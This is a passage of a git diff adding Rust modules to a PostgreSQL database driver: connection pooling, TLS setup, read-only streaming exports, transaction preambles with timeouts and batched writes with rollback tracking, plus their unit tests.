`server_version_num` is major * 10000 + minor from PostgreSQL 10 on, +/// which is two numbers: there is no patch to read. +fn split_version_number(number: u32) -> (u32, u32) { + (number / 10_000, number % 10_000) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn version_numbers_split_into_major_and_minor() { + assert_eq!(split_version_number(130_016), (13, 16)); + assert_eq!(split_version_number(180_000), (18, 0)); + } +} diff --git a/linux/crates/drivers/postgres/src/pool.rs b/linux/crates/drivers/postgres/src/pool.rs new file mode 100644 index 0000000000..6ceeaabb4b --- /dev/null +++ b/linux/crates/drivers/postgres/src/pool.rs @@ -0,0 +1,170 @@ +use std::future::Future; +use std::io; +use std::pin::Pin; +use std::sync::Arc; +use std::task::{Context, Poll}; +use std::time::Duration; + +use deadpool_postgres::{Manager, ManagerConfig, Pool, RecyclingMethod, Runtime, Timeouts}; +use tablepro_core::{DriverError, LivenessPolicy}; +use tokio::io::{AsyncRead, AsyncWrite, ReadBuf}; +use tokio::task::JoinHandle; +use tokio_postgres::config::SslMode; +use tokio_postgres::{Client, Config, NoTls}; +use tokio_util::sync::CancellationToken; +use tokio_util::task::TaskTracker; +use tracing::debug; + +use crate::physical::PgEndpoint; + +/// The workspace pool's size. Exported so the conformance suite proves +/// saturation against the driver's own number rather than deadpool's +/// default, which follows the host's core count. +pub const WORKSPACE_POOL_MAX_SIZE: usize = 4; + +type ConnectFuture<'a> = + Pin), tokio_postgres::Error>> + Send + 'a>>; + +/// deadpool-postgres's connect hook, opening every pool member over the +/// target's transport instead of the host and port in its `Config`. +pub(crate) struct PgConnect { + endpoint: Arc, + tracker: TaskTracker, +} + +impl deadpool_postgres::Connect for PgConnect { + fn connect(&self, _: &Config) -> ConnectFuture<'_> { + Box::pin(async move { + match self.endpoint.open(&CancellationToken::new()).await { + Ok((client, connection)) => { + let driving = self.tracker.spawn(async move { + if let Err(error) = connection.await { + debug!(%error, "a pooled PostgreSQL connection ended"); + } + }); + Ok((client, driving)) + } + Err(error) => Err(carry(error).await), + } + }) + } +} + +pub(crate) fn build_pool(endpoint: Arc, tracker: TaskTracker) -> Result { + let liveness = *endpoint.liveness(); + let manager = Manager::from_connect( + Config::new(), + PgConnect { endpoint, tracker }, + ManagerConfig { + recycling_method: RecyclingMethod::Verified, + }, + ); + let timeouts = workspace_timeouts(&liveness); + Pool::builder(manager) + .max_size(WORKSPACE_POOL_MAX_SIZE) + .wait_timeout(timeouts.wait) + .create_timeout(timeouts.create) + .recycle_timeout(timeouts.recycle) + .runtime(Runtime::Tokio1) + .build() + .map_err(|error| DriverError::Protocol(error.to_string())) +} + +pub(crate) fn workspace_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(liveness.pool_wait), + create: Some(liveness.connect_timeout + liveness.login_timeout), + recycle: Some(liveness.probe_timeout), + } +} + +/// The probe never waits for a slot: a busy pool is not a dead server. +pub(crate) fn probe_timeouts(liveness: &LivenessPolicy) -> Timeouts { + Timeouts { + wait: Some(Duration::ZERO), + ..workspace_timeouts(liveness) + } +} + +/// deadpool's `Connect` can only fail with a tokio-postgres error, which +/// has no public constructor. The real error rides in the `io::Error` +/// of a stream that fails on its first write, so `errors::map_error` +/// finds it again at the other end of the pool. +async fn carry(error: DriverError) -> tokio_postgres::Error { + let mut config = Config::new(); + config.ssl_mode(SslMode::Disable).user("tablepro"); + let mut carrier = Some(io::Error::other(error)); + loop { + let stream = FailingStream(carrier.take()); + if let Err(error) = config.connect_raw(stream, NoTls).await { + return error; + } + // The stream fails its first write, so a login over it cannot + // succeed; this only satisfies the type. + carrier = Some(io::Error::other("the carrier stream accepted a login")); + } +} + +struct FailingStream(Option); + +impl FailingStream { + fn failure(&mut self) -> io::Error { + self.0 + .take() + .unwrap_or_else(|| io::Error::from(io::ErrorKind::BrokenPipe)) + } +} + +impl AsyncRead for FailingStream { + fn poll_read(mut self: Pin<&mut Self>, _: &mut Context<'_>, _: &mut ReadBuf<'_>) -> Poll> { + Poll::Ready(Err(self.failure())) + } +} + +impl AsyncWrite for FailingStream { + fn poll_write(mut self: Pin<&mut Self>, _: &mut Context<'_>, _: &[u8]) -> Poll> { + Poll::Ready(Err(self.failure())) + } + + fn poll_flush(mut self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(Err(self.failure())) + } + + fn poll_shutdown(self: Pin<&mut Self>, _: &mut Context<'_>) -> Poll> { + Poll::Ready(Ok(())) + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{LossPhase, TimeoutPhase, TransportError}; + + use super::*; + use crate::errors::map_error; + + #[tokio::test] + async fn a_carried_error_comes_back_as_it_went_in() { + let sent = DriverError::Transport(TransportError::Timeout { + phase: TimeoutPhase::Connect, + }); + + let carried = carry(sent.clone()).await; + + assert_eq!(map_error(&carried), sent); + let lost = DriverError::ConnectionLost { + during: LossPhase::Connect, + }; + assert_eq!(map_error(&carry(lost.clone()).await), lost); + } + + #[test] + fn the_probe_never_waits_for_a_slot() { + let timeouts = probe_timeouts(&LivenessPolicy::DESKTOP); + + assert_eq!(timeouts.wait, Some(Duration::ZERO)); + assert_eq!( + workspace_timeouts(&LivenessPolicy::DESKTOP).wait, + Some(LivenessPolicy::DESKTOP.pool_wait) + ); + } +} diff --git a/linux/crates/drivers/postgres/src/standalone.rs b/linux/crates/drivers/postgres/src/standalone.rs new file mode 100644 index 0000000000..01efef7935 --- /dev/null +++ b/linux/crates/drivers/postgres/src/standalone.rs @@ -0,0 +1,91 @@ +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use tablepro_core::{CallResource, DriverError, StopRequest}; +use tokio::task::JoinHandle; +use tokio_postgres::Client; +use tokio_util::sync::CancellationToken; +use tokio_util::task::TaskTracker; +use tracing::debug; + +use crate::cancel::PgStop; +use crate::physical::PgEndpoint; + +/// A physical connection opened for one call and closed after it, for +/// reads that must never hold a pool slot. +pub(crate) struct Standalone { + client: Option, + driving: Option>, + abandon: Arc, +} + +impl Standalone { + pub(crate) fn new() -> Self { + Self { + client: None, + driving: None, + abandon: Arc::new(AtomicBool::new(false)), + } + } + + /// Open the connection inside the call, so its deadline and cancel + /// cover the login too. + pub(crate) async fn open( + &mut self, + endpoint: &PgEndpoint, + tracker: &TaskTracker, + request: &StopRequest, + stop: &PgStop, + ) -> Result<(), DriverError> { + let never = CancellationToken::new(); + let opened = tokio::select! { + biased; + () = request.requested() => return Err(stop.interrupted(request)), + opened = endpoint.open(&never) => opened?, + }; + let (client, connection) = opened; + stop.arm(client.cancel_token()); + self.driving = Some(tracker.spawn(async move { + if let Err(error) = connection.await { + debug!(%error, "a standalone PostgreSQL connection ended"); + } + })); + self.client = Some(client); + if request.is_requested() { + return Err(stop.interrupted(request)); + } + Ok(()) + } + + pub(crate) fn client(&self) -> Result<&Client, DriverError> { + self.client + .as_ref() + .ok_or_else(|| DriverError::Protocol("the call holds no connection".to_owned())) + } +} + +impl CallResource for Standalone { + fn abandon_flag(&self) -> Arc { + self.abandon.clone() + } + + fn discard(mut self) { + self.client = None; + if let Some(driving) = self.driving.take() { + driving.abort(); + } + } +} + +impl Drop for Standalone { + fn drop(&mut self) { + // Dropping the client lets the connection send Terminate and end + // on its own; one whose call was abandoned is cut off instead. + self.client = None; + if self.abandon.load(Ordering::SeqCst) + && let Some(driving) = self.driving.take() + { + driving.abort(); + } + } +} diff --git a/linux/crates/drivers/postgres/src/stream_read.rs b/linux/crates/drivers/postgres/src/stream_read.rs new file mode 100644 index 0000000000..db4d2749f9 --- /dev/null +++ b/linux/crates/drivers/postgres/src/stream_read.rs @@ -0,0 +1,201 @@ +use std::sync::Arc; + +use futures_util::StreamExt; +use tablepro_core::column::ResultColumn; +use tablepro_core::sql_syntax::SqlGrammar; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, ScriptToken}; +use tablepro_core::statement::Statement; +use tablepro_core::{ + DriverError, ReadOnlyRefusal, ReadStatement, ResultEvent, ResultSink, SinkFlow, StreamSummary, Truncation, Value, +}; +use tokio_postgres::{Client, SimpleQueryMessage}; + +use crate::catalog::{result_column, text_column}; +use crate::codec::typed; +use crate::editor::statement_class::{StatementClass, classify}; +use crate::errors::map_error; +use crate::workspace_call::{decode_row, describe}; + +const BATCH_ROWS: usize = 256; + +/// Every row of a read, into the sink, inside a read-only transaction +/// with no server timeout: an export can take minutes, and the caller's +/// deadline and cancel still stop it. +pub(crate) async fn stream( + client: &Client, + read: &ReadStatement, + sink: &mut dyn ResultSink, +) -> Result { + if let ReadStatement::User(sql) = read { + refuse_transaction_control(sql.as_str())?; + } + client + .batch_execute("START TRANSACTION READ ONLY; SET LOCAL statement_timeout = 0") + .await + .map_err(|error| map_error(&error))?; + let mut emitter = Emitter { + sink, + batch: Vec::new(), + rows: 0, + set_rows: 0, + }; + let streamed = match read { + ReadStatement::Generated(statement) => { + let rows = client + .query_typed_raw(statement.sql(), typed(statement.params())) + .await + .map_err(|error| map_error(&error))?; + emitter.binary(client, statement, rows).await + } + ReadStatement::User(sql) => { + let messages = client + .simple_query_raw(sql.as_str()) + .await + .map_err(|error| map_error(&error))?; + emitter.text(messages).await + } + }; + let committed = client.batch_execute("COMMIT").await.map_err(|error| map_error(&error)); + streamed?; + committed?; + Ok(StreamSummary::new(emitter.rows)) +} + +/// The read-only transaction is the export's whole guarantee, so user +/// SQL that would end it, or a routine that may, is refused before +/// anything is sent. +fn refuse_transaction_control(sql: &str) -> Result<(), DriverError> { + let plan = ScriptPlan::build( + sql, + SqlGrammar::PostgreSql, + LexicalSettings { + backslash_escapes: false, + }, + ); + for statement in plan.statements() { + let tokens: Vec = plan.tokens(statement.range.clone()).collect(); + let class = classify(sql, &tokens); + if class.is_transaction_control() || class == StatementClass::Undetermined { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + } + Ok(()) +} + +struct Emitter<'a> { + sink: &'a mut dyn ResultSink, + batch: Vec>, + rows: u64, + set_rows: u64, +} + +impl Emitter<'_> { + async fn binary( + &mut self, + client: &Client, + statement: &Statement, + rows: tokio_postgres::RowStream, + ) -> Result<(), DriverError> { + let mut rows = std::pin::pin!(rows); + let mut started = false; + while let Some(row) = rows.next().await { + let row = row.map_err(|error| map_error(&error))?; + if !started { + started = true; + let columns: Arc<[ResultColumn]> = row.columns().iter().map(result_column).collect(); + self.send(ResultEvent::ResultSetStarted { columns }).await?; + } + self.row(decode_row(&row)?).await?; + } + if !started { + // Still inside the read's transaction, so the columns of an + // empty result are read in it. + let columns: Arc<[ResultColumn]> = describe(client, statement).await?.into(); + self.send(ResultEvent::ResultSetStarted { columns }).await?; + } + self.finish().await + } + + async fn text(&mut self, messages: tokio_postgres::SimpleQueryStream) -> Result<(), DriverError> { + let mut messages = std::pin::pin!(messages); + let mut first_error = None; + while let Some(message) = messages.next().await { + match message { + Ok(SimpleQueryMessage::RowDescription(columns)) => { + let columns = columns.iter().map(|column| text_column(column.name())).collect(); + self.send(ResultEvent::ResultSetStarted { columns }).await?; + } + Ok(SimpleQueryMessage::Row(row)) => { + let values = (0..row.len()) + .map(|index| row.get(index).map_or(Value::Null, |text| Value::Text(text.to_owned()))) + .collect(); + self.row(values).await?; + } + Ok(SimpleQueryMessage::CommandComplete(_)) => self.finish().await?, + Ok(_) => {} + Err(error) if error.as_db_error().is_none() => return Err(map_error(&error)), + Err(error) => { + first_error.get_or_insert_with(|| map_error(&error)); + } + } + } + first_error.map_or(Ok(()), Err) + } + + async fn row(&mut self, values: Vec) -> Result<(), DriverError> { + self.batch.push(values); + self.rows += 1; + self.set_rows += 1; + if self.batch.len() >= BATCH_ROWS { + self.flush().await?; + } + Ok(()) + } + + async fn flush(&mut self) -> Result<(), DriverError> { + if self.batch.is_empty() { + return Ok(()); + } + let rows = std::mem::take(&mut self.batch); + self.send(ResultEvent::Rows(rows)).await + } + + async fn finish(&mut self) -> Result<(), DriverError> { + self.flush().await?; + let rows = std::mem::take(&mut self.set_rows); + self.send(ResultEvent::ResultSetFinished { + retained: rows, + total_rows: Some(rows), + truncation: Truncation::Complete, + }) + .await + } + + /// A consumer that went away ends the read: the rows would go + /// nowhere. + async fn send(&mut self, event: ResultEvent) -> Result<(), DriverError> { + match self.sink.accept(event).await { + SinkFlow::Continue => Ok(()), + SinkFlow::ConsumerGone => Err(DriverError::Cancelled), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn user_sql_that_would_end_the_read_only_transaction_is_refused() { + assert!(refuse_transaction_control("SELECT 1; SELECT 2").is_ok()); + for sql in ["COMMIT; DELETE FROM t", "SELECT 1; ROLLBACK", "CALL p()", "BEGIN"] { + assert!( + matches!( + refuse_transaction_control(sql), + Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)) + ), + "{sql}" + ); + } + } +} diff --git a/linux/crates/drivers/postgres/src/tls.rs b/linux/crates/drivers/postgres/src/tls.rs new file mode 100644 index 0000000000..1942e88f5a --- /dev/null +++ b/linux/crates/drivers/postgres/src/tls.rs @@ -0,0 +1,134 @@ +use std::future::Future; +use std::io; +use std::pin::Pin; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; + +use tablepro_core::{DriverError, TlsConfig, TlsFailure}; +use tablepro_net::tls::{TlsSetupError, build_client_config}; +use tokio_postgres::config::SslMode; +use tokio_postgres::tls::{MakeTlsConnect, TlsConnect}; +use tokio_postgres_rustls::MakeRustlsConnect; + +use crate::transport_io::TransportIo; + +/// The stream tokio-postgres-rustls wraps a transport stream in. Its +/// type is private to that crate and reachable only through the trait. +pub(crate) type PgTlsStream = >::Stream; + +type RustlsConnect = >::TlsConnect; + +/// How every physical connection of one target negotiates TLS. +#[derive(Clone)] +pub(crate) struct PgTlsSetup { + connector: Option, + server_name: String, +} + +impl PgTlsSetup { + pub(crate) fn new(tls: &TlsConfig, server_name: &str) -> Result { + let config = build_client_config(tls).map_err(setup_error)?; + Ok(Self { + connector: config.map(|config| MakeRustlsConnect::new((*config).clone())), + server_name: server_name.to_owned(), + }) + } + + pub(crate) fn ssl_mode(&self) -> SslMode { + match self.connector { + Some(_) => SslMode::Require, + None => SslMode::Disable, + } + } + + pub(crate) fn requested(&self) -> bool { + self.connector.is_some() + } + + /// A connector for one physical connection, and the flag it raises + /// once the server has agreed to TLS. + pub(crate) fn connector(&self) -> (PgTls, Arc) { + let handshake_started = Arc::new(AtomicBool::new(false)); + let connect = self.connector.clone().map(|mut make| { + match >::make_tls_connect(&mut make, &self.server_name) { + Ok(connect) => connect, + Err(never) => match never {}, + } + }); + ( + PgTls { + connect, + handshake_started: handshake_started.clone(), + }, + handshake_started, + ) + } +} + +/// tokio-postgres-rustls's connector, wrapped to record that the server +/// answered the SSLRequest with 'S'. tokio-postgres reports a server +/// that refused TLS with a TLS error of its own, and only this flag +/// tells it apart from a handshake that failed. +pub(crate) struct PgTls { + connect: Option, + handshake_started: Arc, +} + +type HandshakeFuture = Pin> + Send>>; + +impl TlsConnect for PgTls { + type Stream = PgTlsStream; + type Error = io::Error; + type Future = HandshakeFuture; + + fn connect(self, stream: TransportIo) -> Self::Future { + self.handshake_started.store(true, Ordering::SeqCst); + match self.connect { + Some(connect) => Box::pin(connect.connect(stream)), + // SslMode::Disable never reaches here, so a connector without + // TLS is a configuration this module did not build. + None => Box::pin(std::future::ready(Err(io::Error::other("TLS is not configured")))), + } + } +} + +fn setup_error(error: TlsSetupError) -> DriverError { + match error { + TlsSetupError::Config(error) => DriverError::Config(error), + TlsSetupError::Rustls(error) => DriverError::Tls { + failure: TlsFailure::ClientIdentityInvalid, + detail: error.to_string(), + }, + other => DriverError::Tls { + failure: TlsFailure::Other, + detail: other.to_string(), + }, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_disabled_setup_asks_for_no_tls() { + let setup = PgTlsSetup::new(&TlsConfig::disabled(), "db.example.com").expect("a setup"); + + assert!(matches!(setup.ssl_mode(), SslMode::Disable)); + assert!(!setup.requested()); + } + + #[test] + fn a_required_setup_asks_for_tls_and_records_nothing_until_used() { + let tls = TlsConfig { + mode: tablepro_core::TlsMode::Require, + ..TlsConfig::disabled() + }; + let setup = PgTlsSetup::new(&tls, "db.example.com").expect("a setup"); + + let (_connector, started) = setup.connector(); + + assert!(matches!(setup.ssl_mode(), SslMode::Require)); + assert!(!started.load(Ordering::SeqCst)); + } +} diff --git a/linux/crates/drivers/postgres/src/transport_io.rs b/linux/crates/drivers/postgres/src/transport_io.rs new file mode 100644 index 0000000000..c48a19f0ce --- /dev/null +++ b/linux/crates/drivers/postgres/src/transport_io.rs @@ -0,0 +1,52 @@ +use std::io; +use std::pin::Pin; +use std::task::{Context, Poll}; + +use tablepro_core::TransportStream; +use tokio::io::{AsyncRead, AsyncWrite, ReadBuf}; + +/// A transport stream under a concrete type. +/// +/// tokio-postgres's TLS traits are generic over the stream, and a boxed +/// trait object there carries an elided lifetime the compiler then asks +/// every async caller to prove for all lifetimes. A named `'static` type +/// has none to prove. +pub(crate) struct TransportIo(Box); + +impl TransportIo { + pub(crate) fn new(stream: Box) -> Self { + Self(stream) + } +} + +impl AsyncRead for TransportIo { + fn poll_read(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &mut ReadBuf<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_read(cx, buf) + } +} + +impl AsyncWrite for TransportIo { + fn poll_write(mut self: Pin<&mut Self>, cx: &mut Context<'_>, buf: &[u8]) -> Poll> { + Pin::new(&mut *self.0).poll_write(cx, buf) + } + + fn poll_flush(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_flush(cx) + } + + fn poll_shutdown(mut self: Pin<&mut Self>, cx: &mut Context<'_>) -> Poll> { + Pin::new(&mut *self.0).poll_shutdown(cx) + } + + fn poll_write_vectored( + mut self: Pin<&mut Self>, + cx: &mut Context<'_>, + bufs: &[io::IoSlice<'_>], + ) -> Poll> { + Pin::new(&mut *self.0).poll_write_vectored(cx, bufs) + } + + fn is_write_vectored(&self) -> bool { + self.0.is_write_vectored() + } +} diff --git a/linux/crates/drivers/postgres/src/workspace_call.rs b/linux/crates/drivers/postgres/src/workspace_call.rs new file mode 100644 index 0000000000..e7d179d681 --- /dev/null +++ b/linux/crates/drivers/postgres/src/workspace_call.rs @@ -0,0 +1,233 @@ +use std::future::Future; +use std::pin::Pin; +use std::time::Duration; + +use futures_util::{StreamExt, TryStreamExt}; +use tablepro_core::column::ResultColumn; +use tablepro_core::statement::Statement; +use tablepro_core::{DriverError, QueryResult, RowLimit, Value, WorkspaceSettings}; +use tokio::time::Instant; +use tokio_postgres::Client; + +use crate::catalog::result_column; +use crate::codec::{RawCell, typed}; +use crate::errors::map_error; +use crate::pg_call::PgCall; + +pub(crate) type BoxFuture<'a, T> = Pin + Send + 'a>>; + +/// What one workspace call does once it holds a connection inside its +/// transaction. +pub(crate) type ReadOp = Box FnOnce(&'a Client) -> BoxFuture<'a, Result> + Send>; + +pub(crate) fn read_op(op: F) -> ReadOp +where + F: for<'a> FnOnce(&'a Client) -> BoxFuture<'a, Result> + Send + 'static, +{ + Box::new(op) +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum Access { + ReadOnly, + ReadWrite, +} + +/// The transaction a workspace call runs in, with its bounds set for +/// that transaction only. SET LOCAL ends with the transaction, so the +/// bounds reach the server through PgBouncer's transaction pooling and +/// leave nothing behind on a server connection other clients share. +/// +/// `statement_timeout` of `None` sends 0, the server's "no limit". A +/// bound is never rendered as 0 otherwise, since that would lift it. +pub(crate) fn preamble(access: Access, statement_timeout: Option, lock_timeout: Duration) -> String { + let mode = match access { + Access::ReadOnly => "READ ONLY", + Access::ReadWrite => "READ WRITE", + }; + let statement = statement_timeout.map_or(0, millis); + format!( + "START TRANSACTION {mode}; SET LOCAL statement_timeout = {statement}; SET LOCAL lock_timeout = {}", + millis(lock_timeout) + ) +} + +/// Whole milliseconds, at least one: a sub-millisecond remainder still +/// bounds the statement. +pub(crate) fn millis(duration: Duration) -> u128 { + duration.as_millis().max(1) +} + +/// The statement bound of a read: the call's deadline when it is nearer +/// than the workspace's own timeout. +pub(crate) fn statement_bound(settings: &WorkspaceSettings, deadline: Option) -> Duration { + let configured = settings.statement_timeout; + match deadline { + Some(deadline) => deadline.saturating_duration_since(Instant::now()).min(configured), + None => configured, + } +} + +/// One pipelined flight: the transaction, the work and the COMMIT go out +/// together and their answers come back in order, so a read costs one +/// round trip. A failed step leaves the transaction aborted, and the +/// COMMIT then ends it as a rollback. +pub(crate) async fn flight(call: &PgCall, preamble: &str, op: ReadOp) -> Result { + let client = call.client()?; + let (begun, result, committed) = futures_util::join!( + client.batch_execute(preamble), + op(client), + client.batch_execute("COMMIT") + ); + if committed.is_err() { + call.taint(); + } + match (begun, result, committed) { + (Err(error), _, _) => Err(map_error(&error)), + (Ok(()), Err(error), _) => Err(error), + (Ok(()), Ok(_), Err(error)) => Err(map_error(&error)), + (Ok(()), Ok(value), Ok(())) => Ok(value), + } +} + +/// Read at most `limit` rows of a generated statement, and one more to +/// learn whether the result was cut short. +pub(crate) fn query_bound_op(statement: Statement, limit: RowLimit, begin: String) -> ReadOp { + read_op(move |client| { + Box::pin(async move { + let stream = client + .query_typed_raw(statement.sql(), typed(statement.params())) + .await + .map_err(|error| map_error(&error))?; + let mut stream = std::pin::pin!(stream); + let mut columns = None; + let mut rows = Vec::new(); + let mut truncated = false; + while let Some(row) = stream.next().await { + let row = row.map_err(|error| map_error(&error))?; + if u64::try_from(rows.len()).is_ok_and(|kept| kept >= limit.get()) { + truncated = true; + break; + } + if columns.is_none() { + columns = Some(row.columns().iter().map(result_column).collect::>()); + } + rows.push(decode_row(&row)?); + } + let columns = match columns { + Some(columns) => columns, + None => describe_in_own_flight(client, &statement, &begin).await, + }; + Ok(QueryResult::new(columns, rows).truncated(truncated)) + }) + }) +} + +/// The columns of a statement that returned no rows. +/// +/// tokio-postgres keeps the RowDescription of an unnamed statement to +/// itself and hands columns out only with a row, and naming a statement +/// to describe it is what a pooler forbids. So the statement runs once +/// more as a subquery right-joined to one row on a false condition: one +/// row of NULLs, typed as its columns, and the planner skips the +/// subquery itself. The outer flight's COMMIT has already gone out, so +/// this one is its own read-only transaction. +async fn describe_in_own_flight(client: &Client, statement: &Statement, begin: &str) -> Vec { + let (_, described, _) = futures_util::join!( + client.batch_execute(begin), + describe(client, statement), + client.batch_execute("COMMIT") + ); + described.unwrap_or_default() +} + +pub(crate) async fn describe(client: &Client, statement: &Statement) -> Result, DriverError> { + let sql = format!( + "SELECT tablepro_described.* FROM ({}\n) AS tablepro_described \ + RIGHT JOIN (VALUES (1)) AS tablepro_one(one) ON false", + statement.sql() + ); + let rows: Vec = client + .query_typed_raw(&sql, typed(statement.params())) + .await + .map_err(|error| map_error(&error))? + .try_collect() + .await + .map_err(|error| map_error(&error))?; + Ok(rows + .first() + .map(|row| row.columns().iter().map(result_column).collect()) + .unwrap_or_default()) +} + +pub(crate) fn count_op(statement: Statement) -> ReadOp { + read_op(move |client| { + Box::pin(async move { + let stream = client + .query_typed_raw(statement.sql(), typed(statement.params())) + .await + .map_err(|error| map_error(&error))?; + let mut stream = std::pin::pin!(stream); + let row = match stream.next().await { + Some(row) => row.map_err(|error| map_error(&error))?, + None => return Err(DriverError::Protocol("the count returned no row".to_owned())), + }; + let RawCell(value) = row.try_get(0).map_err(|error| map_error(&error))?; + value + .as_exact_u64() + .ok_or_else(|| DriverError::Protocol(format!("the count returned {value:?}"))) + }) + }) +} + +pub(crate) fn decode_row(row: &tokio_postgres::Row) -> Result, DriverError> { + (0..row.len()) + .map(|index| { + row.try_get::<_, RawCell>(index) + .map(|cell| cell.0) + .map_err(|error| map_error(&error)) + }) + .collect() +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn preamble_uses_integer_milliseconds() { + let preamble = preamble( + Access::ReadOnly, + Some(Duration::from_millis(1_500)), + Duration::from_secs(10), + ); + + assert_eq!( + preamble, + "START TRANSACTION READ ONLY; SET LOCAL statement_timeout = 1500; SET LOCAL lock_timeout = 10000" + ); + } + + #[test] + fn a_sub_millisecond_bound_never_renders_as_zero() { + let preamble = preamble(Access::ReadWrite, Some(Duration::from_micros(300)), Duration::ZERO); + + assert!(preamble.contains("statement_timeout = 1;"), "{preamble}"); + assert!(preamble.ends_with("lock_timeout = 1"), "{preamble}"); + assert!(preamble.starts_with("START TRANSACTION READ WRITE")); + } + + #[test] + fn an_unbounded_schema_change_sends_the_servers_no_limit() { + assert!(preamble(Access::ReadWrite, None, Duration::from_secs(10)).contains("statement_timeout = 0;")); + } + + #[tokio::test(start_paused = true)] + async fn a_near_deadline_tightens_the_bound() { + let settings = WorkspaceSettings::workspace(false); + + assert_eq!(statement_bound(&settings, None), WorkspaceSettings::STATEMENT_TIMEOUT); + let near = Instant::now() + Duration::from_secs(2); + assert_eq!(statement_bound(&settings, Some(near)), Duration::from_secs(2)); + } +} diff --git a/linux/crates/drivers/postgres/src/write_batch.rs b/linux/crates/drivers/postgres/src/write_batch.rs new file mode 100644 index 0000000000..dab114b87d --- /dev/null +++ b/linux/crates/drivers/postgres/src/write_batch.rs @@ -0,0 +1,242 @@ +use std::sync::Arc; + +use futures_util::TryStreamExt; +use postgres_types::{ToSql, Type}; +use tablepro_core::statement::{RowGuard, Statement}; +use tablepro_core::{ + CommitToken, DriverError, ReadOnlyRefusal, SessionFate, StopRequest, WorkspaceSettings, WriteBatch, WriteKind, + WriteLedger, WriteReport, +}; +use tokio_postgres::Client; + +use crate::cancel::{PgStop, acknowledges_stop}; +use crate::codec::{RawCell, typed}; +use crate::errors::map_error; +use crate::pg_call::PgCall; +use crate::workspace_call::{Access, preamble}; + +/// Refuse a batch before anything is sent: a read-only connection never +/// writes, and PostgreSQL has no way to suspend foreign keys. +pub(crate) fn precheck(batch: &WriteBatch, read_only: bool) -> Result<(), DriverError> { + if read_only { + return Err(DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard)); + } + batch.foreign_keys.require_enforced() +} + +/// Everything one write needs once its task holds a connection. +pub(crate) struct WritePlan { + pub(crate) batch: WriteBatch, + pub(crate) settings: WorkspaceSettings, + pub(crate) ledger: Arc, + /// `txid_current` stands in for `pg_current_xact_id` before 13. + pub(crate) legacy_txid: bool, +} + +/// Run the batch in one transaction, recording each step in the ledger +/// so a lost connection reports what is really in the database. +pub(crate) async fn perform( + call: &PgCall, + plan: &WritePlan, + request: &StopRequest, + stop: &PgStop, +) -> Result { + let client = call.client()?; + let ledger = &plan.ledger; + // A schema change may legitimately run long; the call's deadline and + // cancel still bound it. + let statement_timeout = match plan.batch.kind { + WriteKind::RowChanges => Some(plan.settings.statement_timeout), + WriteKind::SchemaChanges => None, + }; + let begin = preamble(Access::ReadWrite, statement_timeout, plan.settings.lock_timeout); + if let Err(error) = client.batch_execute(&begin).await { + let error = map_error(&error); + let fate = rollback(call, client).await; + return Err(ledger.failed(0, error, fate)); + } + let mut report = Vec::with_capacity(plan.batch.steps.len()); + for (index, step) in plan.batch.steps.iter().enumerate() { + if request.is_requested() { + let fate = rollback(call, client).await; + return Err(ledger.interrupted(stop.interrupted(request), fate)); + } + if let Some((probe, expected)) = step.guard.probe() { + match count(client, probe).await { + Ok(actual) if actual == expected => {} + Ok(actual) => { + let fate = rollback(call, client).await; + return Err(ledger.guard_failed(index, expected, actual, fate)); + } + Err(error) => return Err(step_failed(call, client, plan, index, error, request, stop).await), + } + } + ledger.statement_sending(index); + let params = typed(step.statement.params()); + let borrowed: Vec<(&(dyn ToSql + Sync), Type)> = params + .iter() + .map(|(param, ty)| (param as &(dyn ToSql + Sync), ty.clone())) + .collect(); + let affected = match client.execute_typed(step.statement.sql(), &borrowed).await { + Ok(affected) => affected, + Err(error) => { + let error = map_error(&error); + return Err(step_failed(call, client, plan, index, error, request, stop).await); + } + }; + ledger.statement_confirmed(index); + if let RowGuard::AffectedExactly(expected) = step.guard + && affected != expected + { + let fate = rollback(call, client).await; + return Err(ledger.guard_failed(index, expected, affected, fate)); + } + report.push(Some(affected)); + } + let token = match transaction_id(client, plan.legacy_txid).await { + Ok(token) => token, + Err(error) => { + let index = plan.batch.steps.len(); + return Err(step_failed(call, client, plan, index, error, request, stop).await); + } + }; + ledger.commit_sending(Some(token.clone())); + match client.batch_execute("COMMIT").await { + Ok(()) => Ok(WriteReport::new(report)), + // The server answered, so the outcome is known: a deferred + // constraint or a serialization failure rolled it all back. + Err(error) if error.as_db_error().is_some() => Err(DriverError::RolledBack { + statement_index: plan.batch.steps.len(), + source: Box::new(map_error(&error)), + }), + Err(error) => { + call.taint(); + Err(DriverError::CommitOutcomeUnknown { + token: Some(token), + source: Box::new(map_error(&error)), + }) + } + } +} + +/// A statement the server refused, or one a stop interrupted. The +/// transaction is rolled back either way, and the stop reads as what +/// asked for it. +async fn step_failed( + call: &PgCall, + client: &Client, + plan: &WritePlan, + index: usize, + error: DriverError, + request: &StopRequest, + stop: &PgStop, +) -> DriverError { + let fate = rollback(call, client).await; + if request.is_requested() && acknowledges_stop(&error) { + return plan.ledger.interrupted(acknowledged_stop(request, stop), fate); + } + plan.ledger.failed(index, error, fate) +} + +fn acknowledged_stop(request: &StopRequest, stop: &PgStop) -> DriverError { + match stop.interrupted(request) { + DriverError::Timeout { phase, .. } => DriverError::Timeout { + phase, + server_cancelled: true, + }, + other => other, + } +} + +/// End the transaction. A ROLLBACK that cannot be sent leaves the +/// connection unusable, and since no COMMIT was written the session's +/// end rolls the work back all the same. +async fn rollback(call: &PgCall, client: &Client) -> SessionFate { + match client.batch_execute("ROLLBACK").await { + Ok(()) => SessionFate::RolledBack, + Err(_) => { + call.taint(); + SessionFate::Discarded + } + } 